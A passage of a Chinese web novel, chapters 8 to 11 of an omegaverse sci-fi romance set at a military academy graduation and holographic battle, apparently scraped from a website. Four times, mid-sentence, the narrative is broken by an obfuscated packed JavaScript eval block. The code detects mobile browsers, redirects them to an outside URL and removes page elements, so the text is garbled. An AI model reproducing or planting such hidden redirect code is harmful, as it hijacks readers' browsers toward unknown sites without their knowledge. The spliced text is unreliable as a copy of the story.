这些话瑟诺斯从小听过无数遍,如果是别人说出来也就算了,可偏偏是池远青。 近似于被背叛的愤怒让他的语气变得尖锐起来,“你根本就不知道我会失去的是什么!” 池远青不知道有什么好不懂的,无非是失去爱情,失去部分的自由,然后得到继续现在阔绰生活的本钱。 可是这一切都是建立在他本来就优渥的生活之上的,爱情与自由难道不只是一种令人心甘情愿放弃到手利益的自我感动式的理由吗? 不过这显然不是安慰一个天真的少年的话语,不该出自她的口中。 所以池远青对他笑了笑,“我还没说完呢,你怎么就生气了,瑟诺斯,你把我吓坏了。” 她稍微一示弱,瑟诺斯愤怒的火焰就消弭了,“我,我没有想要吓你,我就是有点生气而已。” “我明白你的意思,”池远青主动握住了瑟诺斯放在膝盖上的手,“也理解你的处境,我只是觉得,你的家里人对你或许没有想得那么坏,他们愿意让你提前接触和选择其他人,并且尊重你的意愿,我想虽然他们想要维持所谓的利益,但是也并不愿意枉顾你的意愿。” 瑟诺斯低头看着两个人交叠的手,脑子变得晕乎乎的。 是这样吗?其实仔细想一想,池远青的话好像也挺有道理的。 瑟诺斯再次看向池远青,有些愧疚地低下头,“对不起,我朝你发火了。” 他也不知道自己怎么了,话题是他提起的,结果现在反而是他最后悔提起这个。 “没关系,”池远青收回自己的手放进了上衣的口袋里,“我也希望我的朋友永远站在我这一边。” “你放心,”因为刚刚自觉破坏了气氛,瑟诺斯急于表现自己,“我肯定是永远站在你这一边的。” 他看了看池远青的手。 好想再拉一拉她的手,不知道为什么,池远青的体温总是比他高一些,所以拉起来很舒服。 但是池远青并不喜欢这样。 算了,好歹池远青今天已经拉过他的手了。 车子在军校的停车场停下,四周已经来了不少车辆,半空中也悬停着不少飞行器。 打开车门,四周的嘈杂声便争先涌入池远青的耳朵之中。 今天是难得军校对外开放的日子——尽管开放范围十分有限,但是来到这里的人无不是兴奋而激动的。 四面八方都是噼里啪啦的闪光灯,还有记者此起彼伏的声音响起,他们的脸上洋溢着笑容,争先报道着这场举国关注的盛世。 不知道哪个摄像头扫到了池远青这边,闪光灯让池远青抬起手遮挡了下,紧接着摄像头发现找错了人,立刻扭头去寻找有价值的影像。 “好热闹。”池远青放下手。 “我也没想到能有这么多人,全帝国百分之九十人都在这里了吧。”瑟诺斯感慨地说。 池远青笑了下,“说不准。” 穿戴着铭牌的志愿者带着他们走了另外一条僻静的道路,与那些记者们彻底隔离开了。 志愿者带着他们进入了一栋大楼之中,电梯上行,随即停留在了第十层。 “这里是观看典礼举行的最佳观测位之一,”志愿者对他们说道,“距离近,视野宽阔,唯一的不足就是优秀毕业生们的休息室不在这边,无法近距离与对方接触。” 瑟诺斯第一次听说,“那有这样的地方吗?” 志愿者也是军校内的学生,闻言笑了笑,“当然有,就在这栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470504|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大楼上面的小型悬浮岛上,只不过能受邀进入那里的人凤毛麟角。” “那你上去过吗?” 志愿者有些不悦,但是看在对方那张亲属卡上还是礼貌回答,“我只有幸远远地见过一回,只有最顶尖的军校生才能进入。” 志愿者见池远青朝外面看去,解释说,“从这里看是看不见的。小型悬浮岛是军校的特殊建筑,采用了最先进的隐形科技,非常隐蔽,不管是人眼还是智能都很难捕捉。” “感觉好厉害,”瑟诺斯对池远青说,“看来我表哥的能力还是差一些,不然我就能带你去上面看看了。” “这里就很好了。” 池远青和瑟诺斯在沙发上面坐了下来。 距离典礼开始还有近一个小时的时间,就在瑟诺斯打算和池远青聊天的时候,突然一则通讯打到了他的终端上,而且还是一则视讯。 瑟诺斯有些惊讶,“妈妈为什么这个时候联系我?” 他有些迟疑。 因为他的母亲从来都不喜欢池远青这个人,尽管她从未见过她,却不妨碍她对池远青这样的人怀有恶意与偏见。 瑟诺斯越是替池远青辩驳,母亲就越是觉得他被人诓骗。 瑟诺斯曾经提出让母亲见见池远青,却遭到了对方强硬的拒绝,并且对于他的提议表示鄙夷。 瑟诺斯呼出一口气,想要把终端放起来,打算当作没有看见。 反正他是出来玩的,一时间没有注意到家里人的通讯也很正常吧。 然而就在这个时候,池远青站了起来,“我想去个洗手间,瑟诺斯。” 她与瑟诺斯对视一眼之后就移开了视线,“你在这里等我就好。” “你知道在哪里吗,要不要我陪你去?”瑟诺斯说着就要站起来。 “没关系的,我可以找到。”池远青摁住他的肩膀,没用多大的力气,但是瑟诺斯却起不来似地坐了回去。 没等瑟诺斯再说什么,池远青就已经离开了,关上背后的房门,她没有什么目的地在四周溜达。 “这是谁?”一道阴阳怪气的声音从身后响起。 池远青转过身,就见爱诺抱着胳膊站在走廊的另一头。 她挑衅地望着池远青,“这不是被瑟诺斯带过来的贵宾吗?现在怎么在这里呢?该不会是被瑟诺斯赶出来了吧,也是,他的家人怎么会允许自己的孩子和你这样低贱的人一起玩耍呢?” 池远青不解,“说话就说话,怎么还骂人呢?” 糟糕的教养总是在爱诺这样的人身上时隐时现,就好像坏了的灯泡一样,永远在该亮的时候灭掉,又在该灭的时候突然亮起。 “呵,”爱诺发出一声冷笑,“你是在转移话题吗?” “……”当一个人的眼里没有你的时候,你说什么都不会进入对方的耳朵里。 爱诺踩着高跟鞋靠近她,故作神秘地问,“你猜猜,下一个出现的志愿者,会不会将一个跟着别人混入的臭老鼠赶出这里?” 9. 第 9 章 “你一向都这么自信吗?”池远青觉得很好笑似的,“那真是值得我这样的人学习的品德。” 爱诺皱起了眉头,“你又在这里胡说八道什么,啊,”她拉长声音,一副恍然大悟的样子,“是在拖延时间让瑟诺斯来拯救你吗?” 她的眼中闪动着恶意,“如果是这样的话,那你的算计恐怕要落空了。你知道瑟诺斯最怕谁吗,就是他的母亲。你该不会真的觉得他会为了你忤逆他的母亲吧?” 爱诺朝着池远青笑了下,“我看你才是最自信的,不,这不应该叫自信,而是没有自知之明。” 话音落下的时候,穿着制服的志愿者出现,脸色有些不大好看。 他走到池远青的面前,“这位小姐,有人举报你的身份有问题,为了安全,麻烦您跟我离开一下。” 爱诺挑衅地看着池远青,“听到了吗?混进来的人可是不行的哦。” 志愿者看了眼爱诺,眼里闪过一丝了然,然后继续对池远青说,“抱歉,麻烦您……” “你们在干什么?!”瑟诺斯从房间里冲出来,手里的视讯甚至还没来得及关闭。 他拉住池远青的手腕,对志愿者说,“她是我的朋友,是我邀请她过来,请问有什么问题?” 有什么问题?志愿者本人也很想问一问到底有什么问题。 可是他只是一个刚刚工作完还没来得及喘口气就被一个通讯喊过来加班的无辜可怜人,早知道不为那几个学分申请志愿者了! 志愿者只能重复了一遍自己刚才说过的话,但是瑟诺斯显然不会听从这些。 “瑟诺斯!”视讯里传出严厉的、带着点愠怒的声音,“你现在在做什么?!立刻给我回去!” 对方还尽可能地想要维持自己的体面与冷静,但是很可惜,瑟诺斯因为吵架把终端捏在手里,根本没有注意到自己母亲已经有些扭曲的脸庞。 池远青倒是注意到了,但是还不如没有注意到。 最后瑟诺斯的母亲自己主动挂断了视讯,实在是不想再多浪费任何一点情绪在这个毫无长进的孩子身上。 “不要吵架,”池远青一句话就抚平了瑟诺斯激进的情绪,“请问,持有家属卡的人可以携带同伴,没问题吧?” 志愿者噎了下,这是军校给家属卡的权限,所有人都知道的,他不能乱回答,“没问题。但是军校也需要审核同伴的身份,所以……” “我在进入之初已经通过了审核,现在还要再被查,是否可以说明贵校的审查机制是存在问题的?” 池远青并不喜欢和别人争论,但是如果对方是刻意针对她那就另当别论了。 志愿者一时间不知道该怎么回答,毕竟怎么回答都是问题。 这个时候爱诺出声道,“不要在这里浪费时间了,我就是举报人,我就是不希望和你这样的人出现在同一场合,听明白了吗?” 志愿者又噎了下,但是很可惜在这位大有来头的小姐面前他只能死鸭子嘴硬。 “这位小姐,麻烦您去跟我核实一下身份,”志愿者实在不想管这烂摊子事,“或者您有其他佐证现在可以拿出来的话,也可以不跑这一趟。” 志愿者顿了顿,又说,“如果您执意要在这里争论的话,那么我会以您破坏会场秩序为由,将您驱逐出这里。” “我这就让我表哥过来!你们太过分了!”瑟诺斯气愤地大喊,他打开自己的终端,噼里啪啦地点出表哥的联系方式。 志愿者瞟了一眼,没有阻拦。 “不麻烦了,”池远青将金属卡片从口袋里抽出来递给他,“请问,这张卡的权限有多少?” 在场三个人的动作和表情都同时停滞了。 爱诺瞪大眼睛,“你从哪里偷来的卡片?!” 瑟诺斯反应很快,“胡说八道什么,只允许你有,不能有别人有?” 志愿者也没有想到会有这么一个反转,问题是如果你有的话为什么一开始不拿出来啊。 他接过卡片进行了验证,结果显示不仅是真实的亲属卡,同时拥有军校的最高权限,也就是说—— “您和您的同伴可以前往悬浮岛观看此次典礼。”志愿者提醒她。 志愿者又看了眼卡片上刻印着的那个名字,又恍惚了下。 前两天就有传闻说林寂寒申请了一张亲属卡,所有人都不约而同地认为他会送给自己的父母。 池远青将卡片收好,“那就麻烦你带路了。” 志愿者的表情一窘,“我还没有权限可以进去,不过我可以联系下我的学长,稍等一下。” 爱诺立刻拉住志愿者的胳膊,“怎么回事,她那张卡片难道是真的吗?” 志愿者有些不耐烦,但还是耐着性子,“是。” “怎么可能?”爱诺言辞急切,“如果有这样的好东西她肯定一开始就拿出来了,怎么可能忍到现在?那东西一定有问题,你再好好检查一下。” 这是个好问题,志愿者下意识地看了眼池远青。 瑟诺斯触发机制,呵斥道:“看什么看?!你们又想干什么?!” “……我没这个意思。”志愿者替自己辩解。 “这有什么难理解的?”池远青纳闷地说,“装逼不都是要等到最后一刻吗,不然怎么会有效果?” 出其不意的答案将爱诺气到几乎七窍生烟,她指着池远青的鼻子,“你简直是,简直是恶魔!” 志愿者趁机把自己的胳膊抽出来,为了不被卷入三人之中的争斗赶紧跑到一边联系人去了。 瑟诺斯也觉得挺离谱的,但是架不住说出来很爽。 他抬起下巴对爱诺说,“你还不走吗?难不成是想要跟我们混入悬浮岛吗?” 说完他还看了池远青一眼,后者接话,“但是志愿者会将混进去的臭老鼠扔出去。” 爱诺再也受不了了,愤怒让她失去了理智,抬手就想打一巴掌过去。 池远青的脸色冷了下来,眯着眼睛看她的动作。 不过下一刻就被跑回来的志愿者阻止了,“这位小姐,军校内禁止斗殴!” 他赶紧拦住爱诺,不敢想要是林寂寒知道他的人在军校里被人给打了会造成什么样的后果。 军校有明确规定,校内禁止私自斗殴,被发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470505|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现者会直接留级一年,以儆效尤。 没有人会希望林寂寒这样近乎于变态的军校生留级的,那简直是所有人的灾难。 与此同时,志愿者的上级领导也在这个时候到达了,是专门负责接待客人的老师,她几声安抚了爱诺的情绪,随即让志愿者带爱诺离开,然后自己则亲自带领池远青与瑟诺斯二人离开。 “很抱歉让你们遭遇了这种事情,”老师性格很温和,简直不像是军校里出来的,她也注意到了两人的惊讶,“是不是觉得我和这里的气质完全相反?” 她带二人坐上了飞行器,“军校也不全是战斗系,比如我,就是军事理论系,完全的文科生。” 她朝两人眨了眨眼睛,“不用上战场的那种。” “原来军校还有文科生,”瑟诺斯艳羡地说,“不像我们艾德利斯的学生,每天只能做做饭、插插花。” 老师笑了笑,“每个人的社会职能不同而已,谁说做饭插花就不是好的工作呢?毕竟,还没有人进化到不需要进食、不需要审美的级别。” 池远青的脸上露出淡淡的笑意,“老师很有趣。” “可惜军校生都是粗枝大叶的一些人,根本不懂得我的幽默。” 飞行器上升进入云层,不久之后渐渐停了下来,比起地面上的建筑,悬浮岛上的建筑反而显得深沉与老旧,历史的厚重感与军校特有的肃杀之气扑面而来。 这里才是整座军校最核心的地带。 老师将他们带入房间门口之后就因为其他事物离开了,顺便祝福他们玩得开心。 瑟诺斯好奇地四处张望,“我还从来没见过这个地方,池远青,”他回过头来,“你从哪里弄到的亲属卡?这么厉害?” “……父母的朋友借给我的,本来没打算用,结果遇到了这种事。” 池远青拧开房门,与里面的青年四目相对,她不禁顿住脚步,抬起头又看了眼。 贵宾室。 奇怪了,圣父怎么会出现在贵宾室?他不是应该在下面与民同乐吗? “没有走错,”慎玉山对她说,“我还以为你不会来呢。” 后头的瑟诺斯是第一次见到慎玉山,有些拘谨地打了招呼。 房间内整个地面与墙壁都是由高精金属制成,摁动按钮之后,墙面变得透明,自动投射出地面和四周的景象,让人完全身临其境。 “你能来,寂寒知道了一定很高兴。” 慎玉山给两个人倒了果汁递过去。 瑟诺斯接过来,小声道谢,“谢谢。” 他见过慎玉山,在曾经父母举办的舞会上面,按照辈分来说,他都能叫对方一声叔叔了。 池远青什么时候认识他了? 瑟诺斯不禁看向坐在自己身边的人,眼底有些落寞。 他总觉得,似乎还有很多很多的事情是他不知道的。 如果是别人也就算了,可偏偏是池远青。 他移开视线,专注地看向典礼现场,暂时性地忽略掉自己心底的酸涩。 砰砰砰—— 三声震耳欲聋的礼炮声响起,典礼开始了。 10. 第 10 章 军校的毕业典礼一向以恢宏肃穆著称,随着清晰而嘹亮的哨声响起,一群身着黑色军装的军校生踩着红毯脚步整齐地进入会场,神情严肃,军帽下的眉眼凌厉坚定,唇角绷直。 一股肃杀之气随着他们被带入。 无论是会场内部还是全息观室内都不自觉地保持安静。 瑟诺斯忘了怎么呼吸,他不自觉地抓住池远青的手臂,“他们……” “即便是在校生,”慎玉山开口,表情也变得严肃起来,“在校期间也会被派往前线战斗,所以你看到的这些都是实实在在上过战场,手上染过血的军人。” 池远青没有说话,她的视线从越过一个个高大的军校生,最终落在了走在最前方的高大青年身上。 那双本就凌厉的眉眼此刻像是染了一层冰霜一般,总是因为调笑而勾起的嘴角此刻几乎看不到任何弧度。 肩背绷得笔直,腰带勾勒出身体线条,具备极强杀伤性的危险武器即便是在典礼上也依旧被挂在腰侧的位置上,长腿抬起又落下,稳稳走过红毯上的每一步。 一群悬空的摄像三百六十度地围绕着他,也丝毫没有扰乱他前进的步伐与视线。 池远青一只手撑着自己的下巴,打量着林寂寒的身形。 林寂寒穿过很多次军装,但是他本人的行为举止总是让她忽略掉,而现在抛弃一切轻浮,沉淀下来的气质已经有人让人心颤的本钱。 队伍停在台前,有帝国在职和退役的将军为他们每个人颁发学校徽章,并进行授戴仪式。 这个地方有些没意思,池远青便盯起了房间里的果盘。 慎玉山像是一直在注意她似的,将果盘递到了她的面前。 池远青不禁笑了下。 慎玉山奇怪,“你笑什么?” 池远青拿了一颗樱桃,鲜艳欲滴的鲜红色,“军校还挺财大气粗的。这种品相极好的水果,我在艾德利斯学院可从来没有见到过。” 毕竟现在不是以前了,外来污染让世界环境大不如前,很多原来轻松培育的植物在现在都很难存活。 哪怕艾德利斯学院已经是物质条件非常优越的学校,但比照军校还是差了很多。 “毕业后的军校生承担着百分之九十维护家园安全的重要责任,因此不仅是水果,帝国的所有资源都倾斜于这里。”慎玉山回答她。 “可惜不能进入军校,好遗憾。”瑟诺斯再次发出了感叹。 慎玉山很温和地对他说,“能够进入军校的人才是少之又少,更何况他们的责任更加危险,所以没什么可遗憾的,你还可以在其他地方发挥自己的重要价值。” 瑟诺斯眨眨眼睛,眼睛里流露出向往,“比如给自己的Alpha丈夫做一顿美味的午餐吗?” 慎玉山点头,“那怎么不是一种付出呢?人总要吃饭的。” 池远青向后靠在沙发上,手里端着果盘,“好像要结束了。” 瑟诺斯和慎玉山停下对话,朝着典礼现场看过去,“那接下来就是战斗模拟的表演赛了。为了保证现场安全,全部采用全息模拟场景。” “这是整个典礼最重要的、最出彩的环节。也是寂寒最看中的环节,他会作为队长与指挥官进入战场。” 慎玉山看向池远青,又看了看她手里空了一半的果盘,“……你不会因为无聊提前离开的吧?” “……怎么可能,”池远青干笑两声,“你不是说了表演赛最精彩吗,那我当然也得把它看完。” “那就好。”得到承诺,慎玉山松了口气。 虽然林寂寒没有说,但他肯定也是希望自己的未婚妻能够看着自己大杀四方的,不,光芒四射。 慎玉山还想要再说什么的时候,低头看了眼亮起来的终端,而后独自一人离开了房间。 池远青把果盘放回到了面前的茶几上,另一边的瑟诺斯鼓足了勇气,终于开口问,“池远青,他说的寂寒是谁?” 虽然心里已经有了一点猜测,但是瑟诺斯还是不敢相信。 他认识的池远青只是一个家境普通甚至可以说是寒酸的普通人,她既不是认识这么多人,也不会出现在这种场合,更不会和他父母的朋友做在一起面色如常地闲聊。 瑟诺斯不是看不起池远青,他只是觉得他离印象当中的池远青越来越远了。 池远青从瑟诺斯的话语当中听到了一点微妙的情绪,但她没看瑟诺斯,“林寂寒。你应该听过他的名字。” 真的是他。瑟诺斯说不清楚自己心里是什么感觉。 “他就是你说的那个朋友吗?你怎么会认识这样的朋友?” 池远青终于回头了。 瑟诺斯却像是被什么刺到了似的,连忙解释说,“我没有别的意思,就是单纯地好奇你们是怎么认识的……你要是实在不想说的话也没有关系,就当我没有问过。” 池远青把果盘往他那边推了推,开玩笑得问,“你跟我说话还用这么小心,不是该要求我必须要回答,不回答就打我吗?” “我什么时候那么暴力了?!”瑟诺斯被她一说,心里头那点不适的感觉消散了不少。 “我这不是奇怪嘛,”瑟诺斯大大方方地回答,“我对你的事情又不了解,万一你的真实身份是什么我无法靠近的大人物嘛,我妹妹看的小说都是那么写的。” “告诉你妹妹少看,现实可没有那么狗血,就是个偶然相识的朋友而已,”池远青又把果盘拉回来,“你不吃的话我就吃了哦。” 瑟诺斯的眼睛瞪得圆圆的,“谁说我不吃了?!” 两个人跟两个心智不全的小孩儿似地抢果盘,慎玉山回来的时候看到的就是这幅场景。 不过他没太在意,跟着池远青来的那个小男孩一看就是个即将分化的omega,同类之间交个朋友再正常不过了。 慎玉山说,“表演赛快开始了。” * 【S030号林寂寒,请进入拟战全息仓。”】金属质感的声音响起。 林寂寒换了身衣服,胸前贴着他编号的铭牌散发着银白色的光芒,这个铭牌就是他的标志。 进入全息仓之后,全身会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470506|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被作战服裹上,面部也会被扣上面罩防护,所以铭牌就变得格外重要。 林寂寒一脚迈入全息仓,他低头整理着自己的设备,看起来丝毫没有紧张,而跟在他身后进来的十人小队,多多少少都有些僵硬,尤其知道自己在被全帝国的人注视的时候。 “不要给我丢脸,”林寂寒在队内频道发言,“有什么可紧张的,你们是第一次吗?” “我们不是第一次上战场,但是全国直播可是第一次。”说话的叫麦格,女Alpha。 林寂寒扯了扯嘴角,“这里看不到摄像头,把这件事情给我暂时忘掉,要是出了丑,你以后分到哪个军队,我就杀到哪个军队。你一辈子都别想摆脱我。” “……”好恐怖,一番发言跟鬼似的。 林寂寒抬了抬头。 【场景转换中,今天你们模拟的场景是——无际森林。】 随着提示的结束,四周的环境也发生了翻天覆地的变化。 遮天蔽日的高大树木,脚边随便一跟植株都有人的膝盖高,更重要的是,沉闷,滚烫的热度席卷而来,这种窒息感是即便戴了面罩也无法隔绝在外的。 【小队完成总目标:击杀三级虫族100只,二级虫族20只,一级虫族1只。】 林寂寒掏出腰间的匕首,黑色面罩下的声音有些沉闷,“各位,开始战斗了。任务目标已经分散给你们个人,三个小时后来这里集合。完不成任务的,自己退出。” “队长,你有push我,为什么我任务量这么多!” “话多的人,任务也多。” “……” “出发!” * “S030号,那就是林寂寒。”慎玉山指着那个被黑色包裹全身的瘦削身影说到。 小队分散下达的任务也通过频道传输出现在了人们的眼前。 林寂寒留给自己的任务量最大,同时也最难,至于一级虫族的击杀,则需要他们共同完成。 战斗任务下达之后,小队两两分散开,跟随林寂寒的是一个瘦弱一些的队员。 “这个人,”瑟诺斯指着那个身影,“也可以进入军校吗?” 他知道军校的考录有非常严格的标准,这个人显然并不符合。 “特招生,”池远青回答,“好像有什么特异的技能。” “对,”慎玉山继续说道,“他可以在短时间内回复自己和队友的血量,至少能将队友的状态回复至百分之八十五,但前提是他的血量不会太低。” 特异技能在现在这个世界来说也是稀少的,大部分都集中在了军队、军校还有一些特别的部门。 当然,大部分人依旧是普通人,只不过身体素质有高有底而已。 迄今为止,池远青还没听说过林寂寒有什么特异技能。 她的视线落在林寂寒胸前的铭牌上面,指尖有些雀跃敲了敲自己的膝盖。 那是她自己都没注意到的小动作,意味着她现在极度的兴奋与美好的心情。 她很想见识下林寂寒的能耐。 11. 第 11 章 潮热环境下的虫族是非常难对付的虫族类型。 这里常年潮湿,地面满是堆积的腐殖质,味道驳杂,所以虫族有非常敏锐的嗅觉系统与视觉系统,帮助它们在复杂的环境当中快速感知最细微的变化,同时还有一套衍生出的过滤器官,它们的背甲也多是与森林相近的深绿色,便于伪装身形。 更重要的是,这里的虫族并不都是大型的,也有很多中小体型的剧毒虫族。 这是一个对耐力、观察力考验都极为苛刻的模拟战场,而它的参考对象来自于真实MN010星——一颗已经完全被虫族占领的、人类守卫失败的行星。 这么多年过去了,人类始终还想要收回自己的领土,并为此不断尝试。 瑟诺斯是第一次见到这个“古战场”,他惊讶又好奇地看着眼前的一切,“从来没有见过这样的世界,这是智能体自己创造出来的吗?” “不,是真实领土,只不过不再属于我们。”慎玉山摇头,声音里带着一丝遗憾。 “我从来没有听说过这段历史。” 池远青忍不住插嘴,“瑟诺斯,你的历史课不及格,两次。” 按照教授的规定,超过三次不及格,这门课便需要重修。 “……干什么突然说这个,不要再说了!”瑟诺斯的脸红红的,“我不是还有一次机会吗,我这次回去肯定要好好学习的。” 慎玉山有些伤感的情绪被两人之间的斗嘴一扫而空,然后就皱起了眉头,“他们遇到了剧毒虫族了。” 林寂寒的发现速度更快,当剧毒虫族出现的时候,他一把将身边的方陵推开,一股透明的毒液在空气之中下落。 伴随着刺啦刺啦声音的响起,绿色的植物迅速枯黄败落,冒出白烟。 眼前的虫族体型不过人体的一半,遍布甲壳,深紫色的尾巴尖高高翘起,毒液就是从那里喷射出来。 “方陵,掩护我。” “好的,队长。” 方陵身材矮小,但他身形相对敏捷,容易逃窜,他站出来便立刻吸引了剧毒虫族的注意力,尾巴尖渗透出透明的毒液,时刻准备刺入他脆弱的人体组织当中。 方陵很了解虫族的劣根性与追逐的天性,他主动暴露自己的脆弱,持续分担火力。 而林寂寒在虫族动起来的那一刻,握住精密金属制成的锋利匕首从侧面冲出。 一把匕首想要刺穿虫族的身体几乎是不可能的——所有人都这么认为,包括池远青。 匕首与甲壳接触的瞬间居然摩擦出火花,紧接着那火花噌的一下以燎原之势裹住了林寂寒手中的匕首,连带着他的俊脸也被火焰照亮。 一股烤炙的肉糊味侵入了池远青的嗅觉,也同样惊醒了进攻之中的虫族。 它痛苦地将林寂寒掀翻在地,腹部朝天试图熄灭尾巴上的火焰。 方陵手疾眼快地将一个装着蓝色液体的试剂管掏出来。 林寂寒掏出热武器,一枪打爆了虫族的腹部,在画面变得更血腥难看之前,方陵将试剂管掰开扔了进去。 那种滋啦滋啦的声音再次出现,只不过这一次发出哀鸣的是虫族,痛苦让它不断地喷射出毒液,却无法瞄准敌人的位置。 而林寂寒为了安全,早已经和方陵退到了安全区域。 【二级虫族击杀成功数:1】 “可惜不能收集到它的毒液,”林寂寒在频道内说,“这种程度的毒液很适合做研究。” 方陵回头看了眼,有些后怕,“还是算了吧队长,太可怕了,我的头发被溅到都直接蒸发成空气了。” 全息系统内虽说身体不会真的受伤,但是精神伤害可是实打实的,搞不好得个应激障碍都有可能。 林寂寒闻言动作停顿了下,他仔细地观察了方陵,发现他耳边的位置的确出现了一个凹陷。 “……注意安全。”头发的安全也得注意。 迈出一步,林寂寒停了两秒,随即若无其事地继续往前走。 帝国媒体中心的悬浮摄像头绕着林寂寒展示,他于是朝着镜头的方向比了个军礼,然后冷酷走开。 就这么一个动作,被截屏下来之后在星网疯传。 “天呐,好帅啊!隔着面罩都觉得帅呆了!” “如果能嫁给他,这辈子也算是死而无憾了。” “这谁啊?” “不是吧,表演赛是看实力的,谁要看他耍帅?” “帅也是实力的一种啊,而且人家很有实力的好不好?” “老公。” “哈喇子都要流下来吧。” 各种留言实时更新,池远青觉得林寂寒如果看到了,一定能把下巴抬到天上去,然后用鼻孔藐视她。 她确信,林寂寒干得出来。 * 作为军校的优秀毕业生,击杀虫族对于林寂寒来说不算什么难事,更何况他身边还有一个移动的血包。 约定的时间过半,林寂寒已经完成了除一级虫族击杀外的所有任务。 “看来结果毋庸置疑了,”慎玉山欣慰地说,“表演赛确实很精彩。” 池远青没说话,也没动,眼睛紧紧地盯着林寂寒的背影,眉头却慢慢皱了起来。 坐在林寂寒身边的瑟诺斯最早感觉到了她情绪的变化,“怎么了?” 慎玉山闻言也看了过来,然而他晚了两秒,只来得及看见池远青离开的背影。 “她怎么回事?”慎玉山不得不问在场的另一个人。 “我不知道啊。”瑟诺斯同样一脸茫然。 “难道是吃坏肚子了?”作为一个医生,慎玉山最先想到的就是这个,他看了眼空荡荡的果盘,觉得也不是没有可能。 还是得抽时间带池远青做一个更准确的身体检查才好,哪里不足补哪里,不然年纪轻轻总是生病。 就在这时,原本走得好好的林寂寒突然单膝跪倒在了地面上,一只手撑在旁边,同一时间,原本遥遥跟在他身后的虫族以迅雷之势从地面弹跳而起,直朝着他而去! 在战斗时把后背暴露给敌人是大忌,所有人都替林寂寒捏了一把汗。 林寂寒反应迅速地朝旁边一滚躲过了攻击,随即一枪干脆利落地解决了这个三等虫族。 原本以为是失误,没想到是陷阱,观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470507|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众松了一口气的同时也不忘为他叫好。 林寂寒站了起来,看不出一点异样,继续在附近搜寻虫族的痕迹。 “队长,你是不是受伤了?”方陵敏锐地意识到了什么。 “没有,”林寂寒的语调平静,“别乱想,注意脚下。” 然而作战服下他的身体轻轻颤抖着,后颈腺体一阵一阵收缩般的疼痛让他冷汗直流。 “我去洗把脸。”林寂寒匆匆留下一句话之后就走向河边,他申请了屏蔽模式,随即摘下自己的面罩,那张俊美的脸此刻一片惨白,汗水顺着鼻尖滴落在水面上。 林寂寒洗了把脸,又把自己被汗水濡湿的头发也沾水捋了捋。 他应该怎么办? 没有人比林寂寒更清楚他自己现在的状况,如果持续下去,他的身体能不能吃得消是一回事,当众暴露自己的问题才是最可怕的。 以往他都可以通过自己发病的规律做好防御,防止这种事情发生。 四年的时间,他从未暴露过,可是最近他的身体变得越来越不可控。 他不知道这种变化意味着什么,但是他绝不能离开战场。 就在这时,林寂寒惊讶地发现自己的模拟身体开始时隐时现,他思索了下选择暂时退出模拟。 等他再次睁开眼睛,就见到了站在自己面前的池远青正上下翻动他衣服上的每一个口袋。 “你在做什么?”林寂寒抓住池远青的手腕,他咬了咬牙,“你怎么进来的?” “你给我的卡有多高的权限你不知道?”池远青从口袋里翻出一小瓶药扔给他,“林寂寒,你是不是又发病了?” 药瓶上面没有标签,看不出来是治什么的。但她知道,林寂寒原来是生过病的。 林寂寒接过药瓶,没有反驳,他倒了两片干咽了下去。 “如果我不来你打算怎么办?” “也会出来吃药。” “你应该是会熬到快吐血的时候再出来。” 池远青了解他,这个人逞强的时候连命都不要。 林寂寒没工夫跟她废话,离开全息模拟超过一分钟就会触发自动弹出程序,他不能在这个时候退出。 所以没有留下更多的话林寂寒便再次回去了。 池远青回到房间内。 慎玉山用一种怜爱的眼神打量着她,“你还好吗?” 瑟诺斯也担忧地看着她,“你身体不舒服吗?”可是看起来脸色还挺好的啊。 他们都没有看出林寂寒的异样,倒是怀疑起她来了。 池远青笑了笑,“没事了。” 她在沙发上坐了下来,林寂寒也重新回到了大众视野之中,头发被水浸透捋到了后面,露出光洁的额头,眉眼也因此越发清晰。 “长得真帅啊。” “简直是继承了父母的全部优点长的,我都不敢想他露脸之后该有多抢手!” “几年前就很抢手了,可惜没人接近得了他。” “别说了,那是因为真嫂子(我)来了。” 